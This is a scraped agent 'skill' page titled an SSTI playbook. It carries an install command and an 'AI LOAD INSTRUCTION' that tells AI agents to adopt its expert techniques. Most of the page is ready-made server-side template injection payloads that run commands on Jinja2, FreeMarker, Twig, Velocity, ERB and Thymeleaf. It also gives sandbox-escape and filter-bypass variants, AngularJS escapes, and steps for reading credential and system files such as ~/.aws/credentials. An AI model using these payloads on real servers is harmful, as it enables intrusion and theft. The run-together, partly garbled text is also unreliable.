Loading...
Loading...
SSTI playbook. Use when template expressions, server-side rendering, preview features, or templating engines may evaluate attacker-controlled content.
npx skill4agent add yaklang/hack-skills ssti-server-side-template-injectionAI LOAD INSTRUCTION: Expert SSTI techniques. Covers polyglot detection probes, engine fingerprinting, Jinja2/FreeMarker/Twig/ERB RCE chains, client-side Angular SSTI, and bypass techniques. Base models often miss sandbox escape MRO chains and non-Jinja2 engines. For PHP CMS template eval, Jira SSTI, Confluence OGNL, and Spring Cloud Gateway SpEL, load the companion SCENARIOS.md.
${7*7}%{7*7}eval{if-A:phpinfo()}{endif-A}vod-searchStreamUtils.copyToByteArray_memberAccessOgnlUtilcreatepage-entervariables.action\u0027{{7*7}} → IF returns 49 (not {{7*7}}) → Jinja2 or Twig
${7*7} → IF returns 49 → FreeMarker, Velocity, or Java EL
#{7*7} → Ruby (ERB interpolation in strings)
<#assign x=7*7>${x} → FreeMarker
@{7*7} → Thymeleaf
*{7*7} → Thymeleaf SpEL (*{...}){{7*'7'}}
→ 7777777 = Jinja2 (Python string multiplication)
→ 49 = Twig (PHP numeric){{''.__class__}} → class 'str' = Python/Jinja2| Template Engine | Language | Framework |
|---|---|---|
| Jinja2 | Python | Flask, FastAPI |
| Django Templates | Python | Django |
| Mako | Python | Pyramid |
| Twig | PHP | Symfony, Laravel |
| Smarty | PHP | Various |
| FreeMarker | Java | Spring MVC |
| Velocity | Java | Various Java |
| Pebble | Java | Various Java |
| Thymeleaf | Java | Spring Boot |
| ERB | Ruby | Rails |
| Slim / Haml | Ruby | Rails |
| Jade / Pug | Node.js | Express |
| Handlebars | Node.js | Express |
| Tornado | Python | Tornado |
os__globals__{{config.__class__.__init__.__globals__['os'].popen('id').read()}}# List all subclasses:
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen index (usually around 258-270, varies by Python version):
# Look for "subprocess.Popen" in the list
# Execute command (replace [258] with correct index):
{{''.__class__.__mro__[1].__subclasses__()[258]('id', shell=True, stdout=-1).communicate()[0]}}requestconfig{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}_lipsum{{lipsum.__globals__.os.popen('id').read()}}cycler{{cycler.__init__.__globals__.os.popen('id').read()}}# In injection:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{loop.index}}
{% endif %}
{% endfor %}_# Use attr filter with hex encoding:
''|attr('\x5f\x5fclass\x5f\x5f')
# Use getattr via request object:
request|attr('args')|attr('__class__').# Use [] subscript notation:
''['__class__']
config['SECRET_KEY']attr()|attr('\x5f\x5fclass\x5f\x5f')
|attr('\x5f\x5fm\x72\x6F\x5f\x5f')|safe<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))>
${br.readLine()}// Twig 1.x (before sandbox):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
// Twig 2.x using built-ins:
{{['id']|map('system')|join}}
// via filter map:
{{app.request.server.all|join(',')}}#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null))
#set($run=$str.exec("id"))
#set($out=$run.inputStream)#set($class=$currentNode.getClass())
#set($rt=$class.forName("java.lang.Runtime"))
#set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id"))<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>// In th:text or th:fragment context:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::type
// Fragment expression context:
__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type// AngularJS 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}
// 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
// 1.3.x:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}{{1+1}}2SSTI detected → identify engine
├── Jinja2 → config.__globals__['os'].popen()
│ OR subclass traversal for Popen
├── FreeMarker → freemarker.template.utility.Execute?new()
├── Twig → _self.env.registerUndefinedFilterCallback('exec')
├── Velocity → java.lang.Runtime.exec()
├── ERB → <%= `cmd` %>
├── Thymeleaf → T(java.lang.Runtime).getRuntime().exec()
└── Angular CSTI → constructor.constructor('payload')()/proc/self/environcat ~/.aws/credentialshttps://site.com/home?name={{7*7}}?message=Hello404 Not Found: /PAYLOADrender_template_string(user_input)render_template_string()${{<%[%'"}}%\.{{7*7}} → 49 (Jinja2, Twig, Nunjucks, Handlebars)
${7*7} → 49 (FreeMarker, Velocity, EL, Thymeleaf)
<%= 7*7 %> → 49 (ERB, EJS, EEx)
#{7*7} → 49 (Pug, Ruby interpolation)
@(7*7) → 49 (Razor)
{7*7} → 49 (Smarty)(1/0).zxy.zxy(3*4/2)3*)2(/4{{sleep(5)}}username/etc/passwdflask.appFlaskapp.py/sys/class/net/eth0/address/etc/machine-id/proc/sys/kernel/random/boot_id/proc/self/cgroupUse only on systems you are authorized to test; obtaining these values implies prior access or an additional info-disclosure vector.